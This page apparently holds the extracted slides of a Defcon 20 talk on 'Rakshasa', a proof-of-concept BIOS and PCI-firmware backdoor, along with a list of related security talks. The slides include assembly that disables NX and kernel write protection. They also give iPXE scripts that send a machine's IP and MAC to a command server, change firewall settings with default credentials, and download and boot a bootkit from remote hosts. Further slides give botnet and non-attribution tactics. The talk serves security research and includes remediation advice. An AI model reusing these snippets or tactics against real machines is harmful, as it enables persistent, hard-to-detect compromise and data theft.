[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...
 
[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用
[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用
[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用
 
Hardware backdooring is practical
Hardware backdooring is practicalHardware backdooring is practical
Hardware backdooring is practical
 
[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Rese...
[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Rese...[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Rese...
[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Rese...
 
[Ruxcon 2011] Post Memory Corruption Memory Analysis
[Ruxcon 2011] Post Memory Corruption Memory Analysis[Ruxcon 2011] Post Memory Corruption Memory Analysis
[Ruxcon 2011] Post Memory Corruption Memory Analysis
 
[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory Analysis[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory Analysis
 
[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit Automation[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit Automation
 
[h2hc] Generic exploitation of invalid memory writes
[h2hc] Generic exploitation of invalid memory writes[h2hc] Generic exploitation of invalid memory writes
[h2hc] Generic exploitation of invalid memory writes
 
[HackInTheBox] Breaking virtualization by any means
[HackInTheBox] Breaking virtualization by any means[HackInTheBox] Breaking virtualization by any means
[HackInTheBox] Breaking virtualization by any means
 
[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...
[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...
[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...
 
[DEFCON 16] Bypassing pre-boot authentication passwords by instrumenting the...
[DEFCON 16] Bypassing pre-boot authentication passwords  by instrumenting the...[DEFCON 16] Bypassing pre-boot authentication passwords  by instrumenting the...
[DEFCON 16] Bypassing pre-boot authentication passwords by instrumenting the...
 

Recently uploaded

Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxLoriGlavin3
 
Testing tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesTesting tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesKari Kakkonen
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demoHarshalMandlekar2
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
2024 April Patch Tuesday
2024 April Patch Tuesday2024 April Patch Tuesday
2024 April Patch TuesdayIvanti
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...Wes McKinney
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfpanagenda
 
Generative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfGenerative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfIngrid Airi González
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfMounikaPolabathina
 
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality AssuranceInflectra
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationKnoldus Inc.
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Strongerpanagenda
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
Assure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyesAssure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyesThousandEyes
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterMydbops
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 

Recently uploaded (20)

Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
 
Testing tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesTesting tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examples
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demo
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
2024 April Patch Tuesday
2024 April Patch Tuesday2024 April Patch Tuesday
2024 April Patch Tuesday
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
 
Generative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfGenerative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdf
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdf
 
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog Presentation
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
Assure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyesAssure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyes
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL Router
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 

[Defcon] Hardware backdooring is practical

  • 1. Hardware Backdooring is practical Jonathan Brossard (Toucan System) Defcon 20 // 28/07/2012
  • 2. DISCLAIMER  We are not « terrorists ». We won't release our PoC backdoor.  The x86 architecture is plagued by legacy. Governments know. The rest of the industry : not so much.  There is a need to discuss the problems in order to find solutions...  This is belived to be order of magnitudes better over existing backdoors/malware
  • 3. Agenda  Motivation : state level backdooring ?  Coreboot & x86 architecture  State of the art in rootkitting, romkitting  Introducing Rakshasa  Rakshasa design  Why cryptography (Truecrypt/Bitlocker/TPM) won't save us...  Backdooring like a nation state
  • 4. Who am I ? - Security researcher, pentester - First learned asm (~15 years ago) - Presented at Blackhat/Defcon/CCC/HITB... - Master in Engineering, master in Computer Sciences - Co organiser of the Hackito Ergo Sum conference (Paris) Likes : Unix, network, architecture, low level, finding 0days (mem corruptions). Dislikes : web apps, canned exploits. - Super pure English accent (French, learned English in India, lives in Australia... ;))
  • 6. Could a state (eg : China) backdoor all new computers on earth ?
  • 8. Enough FUD... A bit of x86 architecture
  • 9.
  • 10. State of the art, previous work
  • 11. Previous work  Early 80s : Brain virus, targets the MBR  80s, 90s : thousands of such viruses  2007, John Heasman (NGS Software) Blackhat US: backdoor EFI bootloader  2009, Anibal Saco and Alfredo Ortega (Core security), CanSecWest : patch/flash a Pheonix-Award Bios  2009, Kleissner, Blackhat US : Stoned bootkit. Bootkit Windows, Truecrypt. Load arbitrary unsigned kernel module.  2010, Kumar and Kumar (HITB Malaysia) : vbootkit bootkitting of Windows 7.  Piotr Bania, Konboot : bootkit any Windows (32/64b)  2012 : Snare (Blackhat 2012) : UEFI rootkitting
  • 13. Goals : create the perfect backdoor  Persistant  Stealth (0 hostile code on the machine)  Portable (OS independant)  Remote access, remote updates  State level quality : plausible deniability, non attribution  Cross network perimeters (firewalls, auth proxy)  Redundancy  Non detectable by AV (goes without saying...)
  • 14. Main idea (1/3) Typical Corporate Network
  • 15. Main idea (2/3) How things are supposed to work
  • 16. Main idea (3/3) What is really going to happen
  • 17. Rakshasa : Design (1/2)  Core components : - Coreboot - SeaBios - iPXE - payloads Built on top of free software : portability, non attribution, cheap dev (~4 weeks of work), really really really hard to detect as malicious.  Supports 230 motherboards.
  • 18. Rakshasa : Design (2/2)  Flash the BIOS (Coreboot + PCI roms such as iPXE)  Flash the network card or any other PCI device (redundancy)  Boot a payload over the network (bootkit over https) → Boot a payload over wifi/wimax (breach the network perimeter, bypasses network detection, I(P|D)S ) → Remotely reflash the BIOS/network card if necessary
  • 21. Rakshasa : embedded features  Remove NX bit → executable heap/stack.  Make every mapping +W in ring0  Remove CPU updates (microcodes)  Remove anti-SMM protections → generic local root exploit  Disable ASLR  Bootkitting (modified Kon-boot payload*) * Thanks to Piotr Bania for his contribution to Rakshasa :)
  • 22. Rakshasa : removing the NX bit (1/2) MSR !!! Model Specific Register AMD64 Architecture Programmer's manual (volume 2, Section 3.1.7 : Extended Feature Enable Register) : No-Execute Enable (NXE) Bit. Bit 11, read/write. Setting this bit to 1 enables the no-execute page- protection feature. The feature is disabled when this bit is cleared to 0.
  • 23. Rakshasa : removing the NX bit (2/2) ; Disable NX bit (if supported) mov eax,0x80000000 ; get higher function supported by eax cpuid ; need amd K6 or better (anything >= 1997... should be ok) cmp eax,0x80000001 jb not_supported ; need at least function 0x80000001 mov eax,0x80000001 ; get Processor Info and Feature Bits cpuid bt edx,20 ; NX bit is supported ? jnc not_supported mov ecx, 0xc0000080 ; extended feature register (EFER) rdmsr ; read MSR btr eax, 11 ; disable NX (EFER_NX) // btr = bit test and reset wrmsr ; write MSR not_supported:
  • 24. Make every mapping +W in ring0 Intel Manuals (Volume 3A, Section 2.5): Write Protect (bit 16 of CR0) - When set, inhibits supervisor- level procedures from writing into read-only pages; when clear, allows supervisor-level procedures to write into read-only pages (regardless of the U/S bit setting; see Section 4.1.3 and Section 4.6). This flag facilitates implementation of the copy-on-write method of creating a new process (forking) used by operating systems such as UNIX.
  • 25. Make every mapping +W in ring0 (32b/64b) ; 32b version : mov eax,cr0 and eax,0xfffeffff mov cr0,eax ; 64b version : mov rax,cr0 and rax,0xfffeffff mov cr0,rax
  • 26. Remove CPU updates (microcodes) rm -rf ./coreboot/microcodes/
  • 27. Remove anti-SMM protections (1/2) Intel® 82845G/82845GL/82845GV Graphics and Memory Controller datasheets, Section 3.5.1.22: SMRAM—System Management RAM Control Register (Device 0), bit 4 : SMM Space Locked (D_LCK)—R/W, L. When D_LCK is set to 1, D_OPEN is reset to 0; D_LCK, D_OPEN, C_BASE_SEG, H_SMRAM_EN, TSEG_SZ and TSEG_EN become read only. D_LCK can be set to 1 via a normal configuration space write but can only be cleared by a Full Reset. The combination of D_LCK and D_OPEN provide convenience with security. The BIOS can use the D_OPEN function to initialize SMM space and then use D_LCK to “lock down” SMM space in the future so that no application software (or BIOS itself) can violate the integrity of SMM space, even if the program has knowledge of the D_OPEN function.
  • 28. Remove anti-SMM protections (2/2) D_LCK is not supported by CoreBoot currently anyway... ; disable D_LCK shellcode for Coreboot... nop
  • 29. Disable ASLR - OS dependant. - Seed for full ASLR has to be in kernel land (equivalent of execve()). → patch the seed with a known value - Seed location for Windows 7 identified by Kumar & Kumar (HITB KL 2010). → Mapping is 100% repeatable :)
  • 30. Rakshasa : embedded features : conclusion → Permantent lowering of the security level on any OS. → Welcome back to the security level of 1997. → Persistant, even if HD or OS is remove/restored.
  • 31. Rakshasa : remote payload  Currently capable of Bootkitting any version of Windows (32b/64b) thanks to special version of Kon-boot  Bootkit future Oses ? → Update/remove/reflash firmwares (PCI, BIOS)
  • 32. Rakshasa : stealthness  We don't touch the disk. 0 evidence on the filesystem.  The code flashed to motherboard is not hostile per si (there is one text file with urls in it.. that's it).  We can remotely boot from an alternate payload or even OS : fake Truecrypt/Bitlocker prompt !  Optionally boot from a WIFI/WMAX stack : 0 network evidence on the LAN.  Fake BIOS menus if necessary. We use an embedded CMOS image. We can use the real CMOS nvram to store encryption keys/backdoor states between reboots.
  • 33. Rakshasa : why using Coreboot/SeaBios/iPXE is the good approach  Portability : benefit from all the gory reverse engineering work already done !  Awesome modularity : embbed existing payloads (as floppy or cdrom images) and PCI roms directly in the main Coreboot rom ! Eg : bruteforce bootloaders (Brossard, H2HC 2010), bootkits without modification.  Network stacks : ip/udp/tcp, dns, http(s), tftp, ftp... make your own (tcp over dns? Over ntp ?)  Code is legit : can't be flagged as malware !
  • 34. Exemple iPXE configuration files : get an IP #!ipxe # try dhcp first, else use static IP dhcp || ( set net0/ip 192.168.0.3 && set net0/netmask 255.255.255.0 && set net0/gateway 192.168.0.1)
  • 35. Exemple iPXE configuration files : fun with webapps... # evil pingback to C & C internet blog with HTTP auth... kernel http://admin:p4ssw0rd@2012.hackitoergosum.org/xmlrpc.php?ip=$ {net0/ip}&mac=${net0/mac}&netmask=${net0/netmask}&gateway=$ {net0/gateway}&dns=${net0/dns}&domain=${net0/domain} || # Send an email using open relay web application kernel http://vulnerablehost.com/vulnservice.asp?mail-from=Rakshasa&mail- toaddress=endrazine%40gmail.com&mail-subject=BIOS%20Owned || # Rooter pharming : modify firewall settings kernel http://admin:password@2012.hackitoergosum.org/cgi-bin/firewall? action=enable&port=all || kernel http://root:root@2012.hackitoergosum.org/cgi-bin/firewall?enableport=all ||
  • 36. Exemple iPXE configuration files : chain configuration loader from the web #chain loader over https chain https://www.pmcma.org/ads/love.jpg?ip=$ {net0/ip}&mac=${net0/mac} ||
  • 37. Exemple iPXE configuration files : boot an alternate OS/bootkit # discard everything done so far imgfree # fetch memdisk kernel over the internet via ftp kernel ftp://ftp.pmcma.org/pwnage/memdisk.pdf || # fetch bootkit payload over the internet via http initrd http://www.pmcma.org/wp-content/uploads/2012/07/bootkit.pdf || # boot boot
  • 38. DEMO : Evil remote carnal pwnage (of death) I can write blogs too... Muhahahaha...
  • 41. How to properly build a botnet ?  HTTPS + assymetric cryptography (client side certificates, signed updates) If Microsoft can do secure remote updates, so can a malware !  Avoid DNS take overs by law enforcement agencies by directing the C&C rotatively on innocent web sites (are you gonna shut down Google.com?), use assymetric crypto to push updates.  So you own my C&C for 1hour ? You can't do anything with it !! → C&C CAN'T BE SHUT DOWN OR TAKEN OVER.
  • 42. Why crypto won't save you...
  • 43. Why crypto won't save you (1/2)  We can fake the bootking/password prompt by booting a remote OS (Truecrypt/Bitlocker)  Once we know the password, the BIOS backdoor can emulate keyboard typing in 16b real mode by programming the keyboard/motherboard PIC microcontrolers (Brossard, Defcon 2008)  If necessary, patch back original BIOS/firmwares remotely.
  • 44. Why crypto won't save you (2/2) TPM + full disk encryption won't save you either : 1) It's a passive chip : if the backdoor doesn't want explicit access to data on the HD, it can simply ignore TPM. 2) Your HD is never encrypted when delivered to you. You seal the TPM when you encrypt your HD only. So TPM doesn't prevent backdooring from anyone in the supply chain.
  • 45. How about Avs ??  Putting an AV on a server to protect against unknown threats is purely cosmetic.  You may as well put lipstick on your servers...
  • 46. Example : 3 years old bootkit
  • 47. Example : 3 years old bootkit (+ simple packer)
  • 49. Realistic attack scenarii  Physical access : Anybody in the supply chain can backdoor your hardware. Period. Flash from a bootable USB stick (< 3mins).  Remote root compromise : If (OS == Linux) { flash_bios; } else { Pivot_over_the_MBR ; }
  • 50. Realistic attack scenarii  Purchase pre-backdoored hardware
  • 51. BONUS : Backdooring the datacenter
  • 52.
  • 54. Remediation (leads)  Flash any firmware uppon reception of new hardware with open source software you can verify.  Perform checksums of all firmwares by physically extracting them (FPGA..) : costly !  Verify the integrity of all firmwares from time to time  Update forensics best practices : 1) Include firmwares in SoW 2) Throw away your computer in case of intrusion Even then... not entirely satisfying : the backdoor can flash the original firmwares back remotely.
  • 55. Post intrusion recovery - You can't trust your BIOS → you can't flash from the OS or even floppy/cdrom. → need physical flasher. - Rakshasa can reinfect itself from any PCI expension ROM. → you need to flash all the firmwares of the motherboards at the same time.
  • 56. Exemple of flasher : BIOS Savior
  • 58. Side note on remote flashing  BIOS flashing isn't a problem : the flasher (Linux based) is universal.  PCI roms flashing is more of a problem : flasher is vendor dependant. How to solve this issue... ?
  • 59. Detecting network card manufacturer from the remote C&C  IPXE allows scripting. Eg : sending the MAC address as an URL parameter.  From the MAC, get the OUI number serverside.  From the OUI number, deduce manufacturer  Send the proper flashing tool as an embedded OS to the backdoor...
  • 61. Backdooring like a nation state Rule #1 : non attribution - you didn't write the free software in first place. - add a few misleading strings, eg : in mandarin ;) Rule #2 : plausible deniability - use a bootstrap known remote vulnerability in a network card firmware (eg : Duflot's CVE-2010-0104) → « honest mistake » if discovered. - remotely flash the BIOS. - do your evil thing. - restore the BIOS remotely.
  • 63. Booting an alternate OS from a Storage Area Network (SAN) This is possible over a fast enough link (gigabit ethernet for instance)
  • 64. Booting an alternate OS from a Storage Area Network (SAN) #!ipxe # fecth iso from SAN and boot sanboot http://boot.ipxe.org/freedos/fdfullcd.iso
  • 65. The fake problem of BIOS Graphics - CoreBoot supports adding a bootsplash if you know in advance what BIOS is targetted. - SeaBIOS has a very minimal menu (wiped out in Rakshasa). Other payloads can have better menus. Actually...
  • 66. Exemple GUI payload : invaders (http://www.erikyyy.de/invaders/)
  • 67. UEFI extention Use TianoCore payload instead of SeaBIOS
  • 68. Outro
  • 69. Outro This is not a vulnerability : - it is sheer bad design due to legacy. - don't expect a patch. - fixing those issues will probably require breaking backward compatibility with most standards (PCI, PCIe, TPM).